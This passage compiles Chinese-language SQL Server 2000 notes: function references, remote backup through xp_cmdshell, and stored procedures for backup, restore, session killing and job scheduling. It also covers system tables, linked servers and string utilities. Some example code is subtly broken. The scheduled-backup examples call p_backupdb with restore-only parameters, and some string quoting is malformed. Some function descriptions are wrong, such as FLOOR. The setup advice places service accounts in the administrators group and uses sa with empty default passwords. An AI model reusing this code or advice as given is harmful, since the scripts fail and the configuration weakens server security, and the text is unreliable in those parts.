   insert into table_name select -------- 实现删除列的方法(创建新表)
   alter table table_name drop constraint Stockname_default
   --------- 删除Stockname的default约束

 


常用函数(function)  

    转换函数

    convert(数据类型,值,格式)

  统计函数

  AVG --求平均值
  COUNT --统计数目
  MAX --求最大值
  MIN --求最小值
  SUM --求和 

  AVG

  use pangu
  select avg(e_wage) as dept_avgWage
  from employee
  group by dept_id  

  MAX

  --求工资最高的员工姓名
  use pangu
  select e_name
  from employee
  where e_wage =
   (select max(e_wage)
   from employee)  

  STDEV()

  --STDEV()函数返回表达式中所有数据的标准差
  --STDEVP()
  --STDEVP()函数返回总体标准差  

  VAR()

  --VAR()函数返回表达式中所有值的统计变异数  

  VARP()

  --VARP()函数返回总体变异数  

  算术函数  

  三角函数

  SIN(float_expression) --返回以弧度表示的角的正弦
  COS(float_expression) --返回以弧度表示的角的余弦
  TAN(float_expression) --返回以弧度表示的角的正切
  COT(float_expression) --返回以弧度表示的角的余切

  反三角函数

  ASIN(float_expression) --返回正弦是FLOAT 值的以弧度表示的角
  ACOS(float_expression) --返回余弦是FLOAT 值的以弧度表示的角
  ATAN(float_expression) --返回正切是FLOAT 值的以弧度表示的角
  ATAN2(float_expression1,float_expression2)
   ------返回正切是float_expression1 /float_expres-sion2的以弧度表示的角
  DEGREES(numeric_expression)
   ------把弧度转换为角度返回与表达式相同的数据类型可为
   ------INTEGER/MONEY/REAL/FLOAT 类型
  RADIANS(numeric_expression)
------把角度转换为弧度返回与表达式相同的数据类型可为

   ------INTEGER/MONEY/REAL/FLOAT 类型
  EXP(float_expression) --返回表达式的指数值
  LOG(float_expression) --返回表达式的自然对数值
  LOG10(float_expression)--返回表达式的以10 为底的对数值
  SQRT(float_expression) --返回表达式的平方根

  取近似值函数

  CEILING(numeric_expression)
-------返回>=表达式的最小整数返回的数据类型与表达式相同可为
   -------INTEGER/MONEY/REAL/FLOAT 类型
  FLOOR(numeric_expression)
-------返回<=表达式的最小整数返回的数据类型与表达式相同可为
   -------INTEGER/MONEY/REAL/FLOAT 类型
  ROUND(numeric_expression)
-------返回以integer_expression 为精度的四舍五入值返回的数据
   -------类型与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
  ABS(numeric_expression)
-------返回表达式的绝对值返回的数据类型与表达式相同可为
   -------INTEGER/MONEY/REAL/FLOAT 类型
  SIGN(numeric_expression)
-------测试参数的正负号返回0 零值1 正数或-1 负数返回的数据类型
   -------与表达式相同可为INTEGER/MONEY/REAL/FLOAT 类型
  PI() -------返回值为π 即3.1415926535897936
  RAND([integer_expression])
-------用任选的[integer_expression]做种子值得出0-1 间的随机浮点数


字符串函数

  ASCII() ------函数返回字符表达式最左端字符的ASCII 码值
  CHAR() ------函数用于将ASCII 码转换为字符
   ------如果没有输入0 ~ 255 之间的ASCII 码值CHAR 函数会返回一个NULL 值
  LOWER() ------函数把字符串全部转换为小写
  UPPER() ------函数把字符串全部转换为大写
  STR() ------函数把数值型数据转换为字符型数据
  LTRIM() ------函数把字符串头部的空格去掉
  RTRIM() ------函数把字符串尾部的空格去掉
  LEFT(),RIGHT(),SUBSTRING() --函数返回部分字符串
  CHARINDEX(),PATINDEX() --函数返回字符串中某个指定的子串出现的开始位置
  SOUNDEX() ------函数返回一个四位字符码
   ------SOUNDEX函数可用来查找声音相似的字符串但SOUNDEX函数对数字和汉字均只返回0 值
  DIFFERENCE() ------函数返回由SOUNDEX 函数返回的两个字符表达式的值的差异
   ------0 两个SOUNDEX 函数返回值的第一个字符不同
   ------1 两个SOUNDEX 函数返回值的第一个字符相同
   ------2 两个SOUNDEX 函数返回值的第一二个字符相同
   ------3 两个SOUNDEX 函数返回值的第一二三个字符相同
   ------4 两个SOUNDEX 函数返回值完全相同同
  QUOTENAME() ------函数返回被特定字符括起来的字符串

  /**//*select quotename('abc', '{') quotename('abc')
  运行结果如下

  {
  {abc} [abc]*/
  REPLICATE() ------函数返回一个重复character_expression 指定次数的字符串
  /**//*select replicate('abc', 3) replicate( 'abc', -2)

  运行结果如下

  abcabcabc NULL*/
  REVERSE() ------函数将指定的字符串的字符排列顺序颠倒
  REPLACE() ------函数返回被替换了指定子串的字符串
  /**//*select replace('abc123g', '123', 'def')

  运行结果如下
  
  abcdefg*/  

  SPACE() ------函数返回一个有指定长度的空白字符串
  STUFF() ------函数用另一子串替换字符串指定位置长度的子串  

  数据类型转换函数

  CAST() 函数语法如下
  CAST() ( AS [ length ])
  CONVERT() 函数语法如下
  CONVERT() ([ length ], [, style])
  select cast(100+99 as char) convert(varchar(12), getdate())

  运行结果如下
  199 Jan 15 2000 

  日期函数

  DAY() ------函数返回date_expression 中的日期值
  MONTH() ------函数返回date_expression 中的月份值
  YEAR() ------函数返回date_expression 中的年份值
  DATEADD( , ,)
   -----函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期
  DATEDIFF( , ,)
   -----函数返回两个指定日期在datepart 方面的不同之处

  DATENAME( ,  ------函数以字符串的形式返回日期的指定部分
  DATEPART( ,  ------函数以整数值的形式返回日期的指定部分
  GETDATE() ------函数以DATETIME 的缺省格式返回系统当前的日期和时间  

  系统函数

  APP_NAME() ------函数返回当前执行的应用程序的名称
  COALESCE() -----函数返回众多表达式中第一个非NULL 表达式的值
  COL_LENGTH(<'table_name'>, <'column_name'> ----函数返回表中指定字段的长度值
  COL_NAME(,  ----函数返回表中指定字段的名称即列名
  DATALENGTH() -----函数返回数据表达式的数据的实际长度
  DB_ID(['database_name']) ------函数返回数据库的编号
  DB_NAME(database_id) ------函数返回数据库的名称
  HOST_ID() -----函数返回服务器端计算机的名称
  HOST_NAME() -----函数返回服务器端计算机的名称
  IDENTITY([, seed increment]) [AS column_name])
   --IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中
  /**//*select identity(int, 1, 1) as column_name
   into newtable
   from oldtable*/

  ISDATE() ----函数判断所给定的表达式是否为合理日期
  ISNULL(,  --函数将表达式中的NULL 值用指定值替换
  ISNUMERIC() ----函数判断所给定的表达式是否为合理的数值
  NEWID() ----函数返回一个UNIQUEIDENTIFIER 类型的数值
  NULLIF(, 
   ----NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回xpression1 的值

SQL2000下将数据库直接备份到网络上其他计算机硬盘的方法!      

1.两台机器(数据库所在的机器和存放备份文件的机器)都需要建一个同名同密码的用户,方便起见,最好将这两个用户都直接归到管理员组下;

2.将数据库的启动帐户设置成刚才所建立的那个帐户,并重新开启SQL服务;

3.假设远程机器的IP是192.168.61.234,共享为默认共享f$,先用查询分析器登陆到本地的SQL服务器(用sa和信任模式都可以),在master下执行xp_cmdshell 'dir \\192.168.61.234\f$'看有没有结果,还是有报错的,如有报错,请根据错误提示检查;

4.执行以下备份语句可将数据库备份到远程硬盘上,以crm2k为例:

backup database crm2k to disk='\\192.168.61.234\f$\crm2k0722_2.dmp'

5.同时注意,一定要用“\\机器名或IP”不能用映射的盘符。

不过我觉得直接备份到远程硬盘并不是个好主意,一则速度慢,二则网络传输过程中可能出现意外。还是直接备份到本地,再拷到远程硬盘的好,用SQL的脚本可以调用master..cmdshell 'copy...'实现。
 
更正
不好意思,帖中有一处笔识,现更正:
最后:“调用master..cmdshell 'copy...'实现。”
应该是:“调用master..xp_cmdshell 'copy...'实现。”

另外,xp_cmdshell是个十分有用的扩展存储过程,可以在SQL中执行WINDOWS的命令行命令,大家有空可以自己研究一下,对我们平时使用SQL过程中,很有帮助的。

本机的备份和还原数据库的Transact-SQL实现

backup database 数据库名称  to disk = 'C:\DATA1'(具体选择实际的路径名称)
restore database 数据库名称 from disk = 'C:\yuhua.bak'(具体选择实际的路径名称)

 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=636935

体现了SQL Server中的四个知识点:
1.   获取SQL Server服务器上的默认目录

2.   备份SQL语句的使用

3.   恢复SQL语句的使用,同时考虑了强制恢复时关闭其他用户进程的处理

4.   作业创建SQL语句的使用

 

/*1.--得到数据库的文件目录
 
 @dbname 指定要取得目录的数据库名
   如果指定的数据不存在,返回安装SQL时设置的默认数据目录
   如果指定NULL,则返回默认的SQL备份目录名
----*/

/*--调用示例
 select 数据库文件目录=dbo.f_getdbpath('tempdb')
  ,[默认SQL SERVER数据目录]=dbo.f_getdbpath('')
  ,[默认SQL SERVER备份目录]=dbo.f_getdbpath(null)
--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[f_getdbpath]') and xtype in (N'FN', N'IF', N'TF'))
drop function [dbo].[f_getdbpath]
GO

create function f_getdbpath(@dbname sysname)
returns nvarchar(260)
as
begin
 declare @re nvarchar(260)
 if @dbname is null or db_id(@dbname) is null
  select @re=rtrim(reverse(filename)) from master..sysdatabases where name='master'
 else
  select @re=rtrim(reverse(filename)) from master..sysdatabases where name=@dbname

 if @dbname is null
  set @re=reverse(substring(@re,charindex('\',@re)+5,260))+'BACKUP'
 else
  set @re=reverse(substring(@re,charindex('\',@re),260))
 return(@re)
end
go

 

/*2.--备份数据库--*/

/*--调用示例

--备份当前数据库
exec p_backupdb @bkpath='c:\',@bkfname='db_\DATE\_db.bak'

--差异备份当前数据库
exec p_backupdb @bkpath='c:\',@bkfname='db_\DATE\_df.bak',@bktype='DF'

--备份当前数据库日志
exec p_backupdb @bkpath='c:\',@bkfname='db_\DATE\_log.bak',@bktype='LOG'

--*/

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_backupdb]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_backupdb]
GO

create proc p_backupdb
@dbname sysname='',   --要备份的数据库名称,不指定则备份当前数据库
@bkpath nvarchar(260)='', --备份文件的存放目录,不指定则使用SQL默认的备份目录
@bkfname nvarchar(260)='', --备份文件名,文件名中可以用\DBNAME\代表数据库名,\DATE\代表日期,\TIME\代表时间
@bktype nvarchar(10)='DB', --备份类型:'DB'备份数据库,'DF' 差异备份,'LOG' 日志备份
@appendfile bit=1   --追加/覆盖备份文件
as
 declare @sql varchar(8000)
 if isnull(@dbname,'')='' set @dbname=db_name()
 if isnull(@bkpath,'')='' set @bkpath=dbo.f_getdbpath(null)
 if isnull(@bkfname,'')='' set @bkfname='\DBNAME\_\DATE\_\TIME\.BAK'
 set @bkfname=replace(replace(replace(@bkfname,'\DBNAME\',@dbname)
  ,'\DATE\',convert(varchar,getdate(),112))
  ,'\TIME\',replace(convert(varchar,getdate(),108),':',''))
 set @sql='backup '+case @bktype when 'LOG' then 'log ' else 'database ' end +@dbname
  +' to disk='''+@bkpath+@bkfname
  +''' with '+case @bktype when 'DF' then 'DIFFERENTIAL,' else '' end
  +case @appendfile when 1 then 'NOINIT' else 'INIT' end
 print @sql
 exec(@sql)
go

 

/*3.--恢复数据库--*/

/*--调用示例
--完整恢复数据库
exec p_RestoreDb @bkfile='c:\db_20031015_db.bak',@dbname='db'

--差异备份恢复
exec p_RestoreDb @bkfile='c:\db_20031015_db.bak',@dbname='db',@retype='DBNOR'
exec p_backupdb @bkfile='c:\db_20031015_df.bak',@dbname='db',@retype='DF'

--日志备份恢复
exec p_RestoreDb @bkfile='c:\db_20031015_db.bak',@dbname='db',@retype='DBNOR'
exec p_backupdb @bkfile='c:\db_20031015_log.bak',@dbname='db',@retype='LOG'

--*/

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_RestoreDb]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_RestoreDb]
GO

create proc p_RestoreDb
@bkfile nvarchar(1000),  --定义要恢复的备份文件名
@dbname sysname='',      --定义恢复后的数据库名,默认为备份的文件名
@dbpath nvarchar(260)='', --恢复后的数据库存放目录,不指定则为SQL的默认数据目录
@retype nvarchar(10)='DB', --恢复类型:'DB'完事恢复数据库,'DBNOR' 为差异恢复,日志恢复进行完整恢复,'DF' 差异备份的恢复,'LOG' 日志恢复
@filenumber int=1,   --恢复的文件号
@overexist bit=1,        --是否覆盖已经存在的数据库,仅@retype为
@killuser bit=1       --是否关闭用户使用进程,仅@overexist=1时有效
as
declare @sql varchar(8000)

--得到恢复后的数据库名
if isnull(@dbname,'')=''
 select @sql=reverse(@bkfile)
  ,@sql=case when charindex('.',@sql)=0 then @sql
   else substring(@sql,charindex('.',@sql)+1,1000) end
  ,@sql=case when charindex('\',@sql)=0 then @sql
   else left(@sql,charindex('\',@sql)-1) end
  ,@dbname=reverse(@sql)

--得到恢复后的数据库存放目录
if isnull(@dbpath,'')='' set @dbpath=dbo.f_getdbpath('')

--生成数据库恢复语句
set @sql='restore '+case @retype when 'LOG' then 'log ' else 'database ' end+@dbname
 +' from disk='''+@bkfile+''''
 +' with file='+cast(@filenumber as varchar)
 +case when @overexist=1 and @retype in('DB','DBNOR') then ',replace' else '' end
 +case @retype when 'DBNOR' then ',NORECOVERY' else ',RECOVERY' end
print @sql
--添加移动逻辑文件的处理
if @retype='DB' or @retype='DBNOR'
begin
 --从备份文件中获取逻辑文件名
 declare @lfn nvarchar(128),@tp char(1),@i int

 --创建临时表,保存获取的信息
 create table #tb(ln nvarchar(128),pn nvarchar(260),tp char(1),fgn nvarchar(128),sz numeric(20,0),Msz numeric(20,0))
 --从备份文件中获取信息
 insert into #tb exec('restore filelistonly from disk='''+@bkfile+'''')
 declare #f cursor for select ln,tp from #tb
 open #f
 fetch next from #f into @lfn,@tp
 set @i=0
 while @@fetch_status=0
 begin
  select @sql=@sql+',move '''+@lfn+''' to '''+@dbpath+@dbname+cast(@i as varchar)
   +case @tp when 'D' then '.mdf''' else '.ldf''' end
   ,@i=@i+1
  fetch next from #f into @lfn,@tp
 end
 close #f
 deallocate #f
end

--关闭用户进程处理
if @overexist=1 and @killuser=1
begin
 declare @spid varchar(20)
 declare #spid cursor for
  select spid=cast(spid as varchar(20)) from master..sysprocesses where dbid=db_id(@dbname)
 open #spid
 fetch next from #spid into @spid
 while @@fetch_status=0
 begin 
  exec('kill '+@spid)
  fetch next from #spid into @spid
 end 
 close #spid
 deallocate #spid
end

--恢复数据库
exec(@sql)

go

/*4.--创建作业--*/

/*--调用示例

--每月执行的作业
exec p_createjob @jobname='mm',@sql='select * from syscolumns',@freqtype='month'

--每周执行的作业
exec p_createjob @jobname='ww',@sql='select * from syscolumns',@freqtype='week'

--每日执行的作业
exec p_createjob @jobname='a',@sql='select * from syscolumns'

--每日执行的作业,每天隔4小时重复的作业
exec p_createjob @jobname='b',@sql='select * from syscolumns',@fsinterval=4

--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_createjob]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_createjob]
GO

create proc p_createjob
@jobname varchar(100),  --作业名称
@sql varchar(8000),   --要执行的命令
@dbname sysname='',   --默认为当前的数据库名
@freqtype varchar(6)='day', --时间周期,month 月,week 周,day 日
@fsinterval int=1,   --相对于每日的重复次数
@time int=170000   --开始执行时间,对于重复执行的作业,将从0点到23:59分
as
if isnull(@dbname,'')='' set @dbname=db_name()

--创建作业
exec msdb..sp_add_job @job_name=@jobname

--创建作业步骤
exec msdb..sp_add_jobstep @job_name=@jobname,
 @step_name = '数据处理',
 @subsystem = 'TSQL',
 @database_name=@dbname,
 @command = @sql,
 @retry_attempts = 5, --重试次数
 @retry_interval = 5  --重试间隔

--创建调度
declare @ftype int,@fstype int,@ffactor int
select @ftype=case @freqtype when 'day' then 4
     when 'week' then 8
     when 'month' then 16 end
 ,@fstype=case @fsinterval when 1 then 0 else 8 end
if @fsinterval<>1 set @time=0
set @ffactor=case @freqtype when 'day' then 0 else 1 end

EXEC msdb..sp_add_jobschedule @job_name=@jobname,
 @name = '时间安排',
 @freq_type=@ftype ,      --每天,8 每周,16 每月
 @freq_interval=1,     --重复执行次数
 @freq_subday_type=@fstype,   --是否重复执行
 @freq_subday_interval=@fsinterval,  --重复周期
 @freq_recurrence_factor=@ffactor,
 @active_start_time=@time     --下午17:00:00分执行

go


/*--应用案例--备份方案:
完整备份(每个星期天一次)+差异备份(每天备份一次)+日志备份(每2小时备份一次)

调用上面的存储过程来实现
--*/

declare @sql varchar(8000)
--完整备份(每个星期天一次)
set @sql='exec p_backupdb @dbname=''要备份的数据库名'''
exec p_createjob @jobname='每周备份',@sql,@freqtype='week'

--差异备份(每天备份一次)
set @sql='exec p_backupdb @dbname=''要备份的数据库名'',@bktype='DF''
exec p_createjob @jobname='每天差异备份',@sql,@freqtype='day'

--日志备份(每2小时备份一次)
set @sql='exec p_backupdb @dbname=''要备份的数据库名'',@bktype='LOG''
exec p_createjob @jobname='每2小时日志备份',@sql,@freqtype='day',@fsinterval=2

*--应用案例2

生产数据核心库:PRODUCE

备份方案如下:
 1.设置三个作业,分别对PRODUCE库进行每日备份,每周备份,每月备份
 2.新建三个新库,分别命名为:每日备份,每周备份,每月备份
 3.建立三个作业,分别把三个备份库还原到以上的三个新库。

目的:当用户在produce库中有任何的数据丢失时,均可以从上面的三个备份库中导入相应的TABLE数据。
--*/

declare @sql varchar(8000)

--1.建立每月备份和生成月备份数据库的作业,每月每1天下午16:40分进行:
set @sql='
declare @path nvarchar(260),@fname nvarchar(100)
set @fname=''PRODUCE_''+convert(varchar(10),getdate(),112)+''_m.bak''
set @path=dbo.f_getdbpath(null)+@fname

--备份
exec p_backupdb @dbname=''PRODUCE'',@bkfname=@fname

--根据备份生成每月新库
exec p_RestoreDb @bkfile=@path,@dbname=''PRODUCE_月''

--为周数据库恢复准备基础数据库
exec p_RestoreDb @bkfile=@path,@dbname=''PRODUCE_周'',@retype=''DBNOR''

--为日数据库恢复准备基础数据库
exec p_RestoreDb @bkfile=@path,@dbname=''PRODUCE_日'',@retype=''DBNOR''
'
exec p_createjob @jobname='每月备份',@sql,@freqtype='month',@time=164000

--2.建立每周差异备份和生成周备份数据库的作业,每周日下午17:00分进行:
set @sql='
declare @path nvarchar(260),@fname nvarchar(100)
set @fname=''PRODUCE_''+convert(varchar(10),getdate(),112)+''_w.bak''
set @path=dbo.f_getdbpath(null)+@fname

--差异备份
exec p_backupdb @dbname=''PRODUCE'',@bkfname=@fname,@bktype=''DF''

--差异恢复周数据库
exec p_backupdb @bkfile=@path,@dbname=''PRODUCE_周'',@retype=''DF''
'
exec p_createjob @jobname='每周差异备份',@sql,@freqtype='week',@time=170000

--3.建立每日日志备份和生成日备份数据库的作业,每周日下午17:15分进行:
set @sql='
declare @path nvarchar(260),@fname nvarchar(100)
set @fname=''PRODUCE_''+convert(varchar(10),getdate(),112)+''_l.bak''
set @path=dbo.f_getdbpath(null)+@fname

--日志备份
exec p_backupdb @dbname=''PRODUCE'',@bkfname=@fname,@bktype=''LOG''

--日志恢复日数据库
exec p_backupdb @bkfile=@path,@dbname=''PRODUCE_日'',@retype=''LOG''
'
exec p_createjob @jobname='每周差异备份',@sql,@freqtype='day',@time=171500


 
    >>是update 吗

      >>又alter 跟update 有何不同呢

 


        update 是否耗时和数据结构的组成有密切关系,最有效率的是那种

每笔纪录都有固定栏数栏宽的资料表结构,那么 update 和 new

的速度差不多,new 是直接摆在资料表最尾端,update 则是算出

该笔纪录在档案的位置,把资料置换过来。

 

    但如果数据结构是那种分隔符式的纯文字资料表,由于他每笔纪录

不一定同栏数,每栏宽度也不固定,也就是每笔纪录的长度不一,你要

换算某笔资料在档案的位置就要麻烦了,况且你要 update 的那笔资料

不见得宽度刚好适合摆得下。


 

    所以每笔纪录固定长度的资料表,update 只需更改一笔纪录,但对

分隔符式资料表而言,update 却必须把整个资料表所有纪录从头到

尾重排一遍。

 

        > ALTER 指的是修改已建立 table 的结构 (schema)

            alter 必须重排整个资料表纪录。

         > UPDATE 指的是更新 table 中已建立的资料

        要补充说的是 delete 和 insert 的动作,delete 在资料表

处理的合理作法上,并不是真把该纪录删去,然后把所有后面的纪录

往前移,因为你不知道该纪录后面是否有成千上万笔纪录要一一前挪的。

它只是把该纪录前面做个删除注记,系统读到他就知道是个已删除的纪录

,而不处理。

 


    至于 insert ,严格说来数据库根本不会做这种插入动作,因为每插

一笔,整个后面纪录就要重挪一遍。如果你的数据库软件可以给你

insert 纪录,那只不过是结合 new 和 resort 之后的障眼法而已。


 

    从这里就可看出,一个资料表经过一段时间的 update,delete,new,

insert 之后,一定排序前后颠到,废纪录注记一堆,效率也愈来愈差,

这时就要整理重建资料表。这没什么大学问,就是先把原资料表 sort

一遍,然后按 sort 过后的次序,一笔笔纪录 copy 到新的资料表,

并丢弃那些有废除注记的纪录,完毕后,再把那新资料 recover 回

来,盖掉旧资料表。

 


    所以什么最花 cpu 时间?当然是资料表纪录重整,其次是纪录排序及搜寻,

最简单的就是只改一笔,并且能用加减乘除的数学运算找出该笔数据得位置。
sysaltfiles 主数据库 保存数据库的文件
syscharsets 主数据库 字符集与排序顺序
sysconfigures 主数据库 配置选项
syscurconfigs 主数据库 当前配置选项
sysdatabases 主数据库 服务器中的数据库
syslanguages 主数据库 语言
syslogins 主数据库 登陆帐号信息
sysoledbusers 主数据库 链接服务器登陆信息
sysprocesses 主数据库 进程
sysremotelogins主数据库 远程登录帐号
syscolumns 每个数据库 列
sysconstrains 每个数据库 限制
sysfilegroups 每个数据库 文件组
sysfiles 每个数据库 文件
sysforeignkeys 每个数据库 外部关键字
sysindexs 每个数据库 索引
sysmenbers 每个数据库 角色成员
sysobjects 每个数据库 所有数据库对象
syspermissions 每个数据库 权限
systypes 每个数据库 用户定义数据类型
sysusers 每个数据库 用户

收藏几段SQL  Server语句和存储过程

 

-- ======================================================

--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息

--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中

-- ======================================================

SELECT

       (case when a.colorder=1 then d.name else '' end)表名,

       a.colorder 字段序号,

       a.name 字段名,

       (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,

       (case when (SELECT count(*)

       FROM sysobjects

       WHERE (name in

                 (SELECT name

                FROM sysindexes

                WHERE (id = a.id) AND (indid in

                          (SELECT indid

                         FROM sysindexkeys

                         WHERE (id = a.id) AND (colid in

                                   (SELECT colid

                                  FROM syscolumns

                                  WHERE (id = a.id) AND (name = a.name))))))) AND

              (xtype = 'PK'))>0 then '√' else '' end) 主键,

       b.name 类型,

       a.length 占用字节数,

       COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,

       isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,

       (case when a.isnullable=1 then '√'else '' end) 允许空,

       isnull(e.text,'') 默认值,

       isnull(g.[value],'') AS 字段说明   

 

FROM  syscolumns  a left join systypes b

on  a.xtype=b.xusertype

inner join sysobjects d

on a.id=d.id  and  d.xtype='U' and  d.name<>'dtproperties'

left join syscomments e

on a.cdefault=e.id

left join sysproperties g

on a.id=g.id AND a.colid = g.smallid 

order by a.id,a.colorder

一、 只复制一个表结构,不复制数据

 

select top 0 * into [t1] from [t2]

二、 获取数据库中某个对象的创建脚本

1、 先用下面的脚本创建一个函数


if exists(select 1 from sysobjects where id=object_id('fgetscript') and objectproperty(id,'IsInlineFunction')=0)
 drop function fgetscript
go

create function fgetscript(
 @servername varchar(50)     --服务器名
 ,@userid varchar(50)='sa'    --用户名,如果为nt验证方式,则为空
 ,@password varchar(50)=''    --密码
 ,@databasename varchar(50)    --数据库名称
 ,@objectname varchar(250)    --对象名

) returns varchar(8000)
as
begin
 declare @re varchar(8000)        --返回脚本
 declare @srvid int,@dbsid int       --定义服务器、数据库集id
 declare @dbid int,@tbid int        --数据库、表id
 declare @err int,@src varchar(255), @desc varchar(255) --错误处理变量

--创建sqldmo对象
 exec @err=sp_oacreate 'sqldmo.sqlserver',@srvid output
 if @err<>0 goto lberr

--连接服务器
 if isnull(@userid,'')='' --如果是 Nt验证方式
 begin
  exec @err=sp_oasetproperty @srvid,'loginsecure',1
  if @err<>0 goto lberr

  exec @err=sp_oamethod @srvid,'connect',null,@servername
 end
 else
  exec @err=sp_oamethod @srvid,'connect',null,@servername,@userid,@password

 if @err<>0 goto lberr

--获取数据库集
 exec @err=sp_oagetproperty @srvid,'databases',@dbsid output
 if @err<>0 goto lberr

--获取要取得脚本的数据库id
 exec @err=sp_oamethod @dbsid,'item',@dbid output,@databasename
 if @err<>0 goto lberr

--获取要取得脚本的对象id
 exec @err=sp_oamethod @dbid,'getobjectbyname',@tbid output,@objectname
 if @err<>0 goto lberr

--取得脚本
 exec @err=sp_oamethod @tbid,'script',@re output
 if @err<>0 goto lberr

 --print @re
 return(@re)

lberr:
 exec sp_oageterrorinfo NULL, @src out, @desc out
 declare @errb varbinary(4)
 set @errb=cast(@err as varbinary(4))
 exec master..xp_varbintohexstr @errb,@re out
 set @re='错误号: '+@re
   +char(13)+'错误源: '+@src
   +char(13)+'错误描述: '+@desc
 return(@re)
end
go


2、 用法如下
用法如下,

print dbo.fgetscript('服务器名','用户名','密码','数据库名','表名或其它对象名')

3、 如果要获取库里所有对象的脚本,如如下方式


declare @name varchar(250)
declare #aa cursor for
 select name from sysobjects where xtype not in('S','PK','D','X','L')
open #aa
fetch next from #aa into @name
while @@fetch_status=0
begin
 print dbo.fgetscript('onlytiancai','sa','sa','database',@name)
 fetch next from #aa into @name
end
close #aa
deallocate #aa

4、 声明,此函数是csdn邹建邹老大提供的
三、 分隔字符串
如果有一个用逗号分割开的字符串,比如说"a,b,c,d,1,2,3,4",如何用t-sql获取这个字符串有几个元素,获取第几个元素的值是多少呢?因为t-sql里没有split函数,也没有数组的概念,所以只能自己写几个函数了。
1、 获取元素个数的函数


create function getstrarrlength (@str varchar(8000))
returns int
as
begin
  declare @int_return int
  declare @start int
  declare @next int
  declare @location int
  select @str =','+ @str +','
  select @str=replace(@str,',,',',')
  select @start =1
  select @next =1
  select @location = charindex(',',@str,@start)
  while (@location <>0)
  begin
    select @start = @location +1
    select @location = charindex(',',@str,@start)
    select @next =@next +1
  end
 select @int_return = @next-2
 return @int_return
end

2、 获取指定索引的值的函数


create function getstrofindex (@str varchar(8000),@index int =0)
returns varchar(8000)
as
begin
  declare @str_return varchar(8000)
  declare @start int
  declare @next int
  declare @location int
  select @start =1
  select @next =1 --如果习惯从0开始则select @next =0
  select @location = charindex(',',@str,@start)
  while (@location <>0 and @index > @next )
  begin
    select @start = @location +1
    select @location = charindex(',',@str,@start)
    select @next =@next +1
  end
  if @location =0 select @location =len(@str)+1 --如果是因为没有逗号退出,则认为逗号在字符串后
  select @str_return = substring(@str,@start,@location -@start) --@start肯定是逗号之后的位置或者就是初始值1
  if (@index <> @next ) select @str_return = '' --如果二者不相等,则是因为逗号太少,或者@index小于@next的初始值1。
  return @str_return
end

3、 测试


SELECT [dbo].[getstrarrlength]('1,2,3,4,a,b,c,d')
SELECT [dbo].[getstrofindex]('1,2,3,4,a,b,c,d',5)

四、 一条语句执行跨越若干个数据库
我要在一条语句里操作不同的服务器上的不同的数据库里的不同的表,怎么办呢?
第一种方法:


select * from OPENDATASOURCE('SQLOLEDB','Data Source=远程ip;User ID=sa;Password=密码').库名.dbo.表名

第二种方法:
先使用联结服务器:


EXEC sp_addlinkedserver '别名','','MSDASQL',NULL,NULL,'DRIVER={SQL Server};SERVER=远程名;UID=用户;PWD=密码;'
exec sp_addlinkedsrvlogin  @rmtsrvname='别名',@useself='false',@locallogin='sa',@rmtuser='sa',@rmtpassword='密码'
GO

然后你就可以如下:


select * from 别名.库名.dbo.表名
insert 库名.dbo.表名 select * from 别名.库名.dbo.表名
select * into 库名.dbo.新表名 from 别名.库名.dbo.表名
go

五、 怎样获取一个表中所有的字段信息
蛙蛙推荐:怎样获取一个表中所有字段的信息
先创建一个视图


Create view fielddesc   
as
select o.name as table_name,c.name as field_name,t.name as type,c.length as

length,c.isnullable as isnullable,convert(varchar(30),p.value) as desp
from syscolumns c 
join systypes t on c.xtype = t.xusertype
join sysobjects o on o.id=c.id
left join    sysproperties p on p.smallid=c.colid and p.id=o.id   
where o.xtype='U'


查询时:


Select * from fielddesc where table_name = '你的表名'
 

还有个更强的语句,是邹建写的,也写出来吧


SELECT
 (case when a.colorder=1 then d.name else '' end) N'表名',
 a.colorder N'字段序号',
 a.name N'字段名',
 (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) N'标识',
 (case when (SELECT count(*)
 FROM sysobjects
 WHERE (name in
           (SELECT name
          FROM sysindexes
          WHERE (id = a.id) AND (indid in
                    (SELECT indid
                   FROM sysindexkeys
                   WHERE (id = a.id) AND (colid in
                             (SELECT colid
                            FROM syscolumns
                            WHERE (id = a.id) AND (name = a.name))))))) AND
        (xtype = 'PK'))>0 then '√' else '' end) N'主键',
 b.name N'类型',
 a.length N'占用字节数',
 COLUMNPROPERTY(a.id,a.name,'PRECISION') as N'长度',
 isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as N'小数位数',
 (case when a.isnullable=1 then '√'else '' end) N'允许空',
 isnull(e.text,'') N'默认值',
 isnull(g.[value],'') AS N'字段说明'
--into ##tx

FROM  syscolumns  a left join systypes b
on  a.xtype=b.xusertype
inner join sysobjects d
on a.id=d.id  and  d.xtype='U' and  d.name<>'dtproperties'
left join syscomments e
on a.cdefault=e.id
left join sysproperties g
on a.id=g.id AND a.colid = g.smallid 
order by object_name(a.id),a.colorder


六、 时间格式转换问题
因为新开发的软件需要用一些旧软件生成的一些数据,在时间格式上不统一,只能手工转换,研究了一下午写了三条语句,以前没怎么用过convert函数和case语句,还有"+"操作符在不同上下文环境也会起到不同的作用,把我搞晕了要,不过现在看来是差不多弄好了。

1、把所有"70.07.06"这样的值变成"1970-07-06"


UPDATE lvshi
SET shengri = '19' + REPLACE(shengri, '.', '-')
WHERE (zhiyezheng = '139770070153')
 

2、在"1970-07-06"里提取"70","07","06"


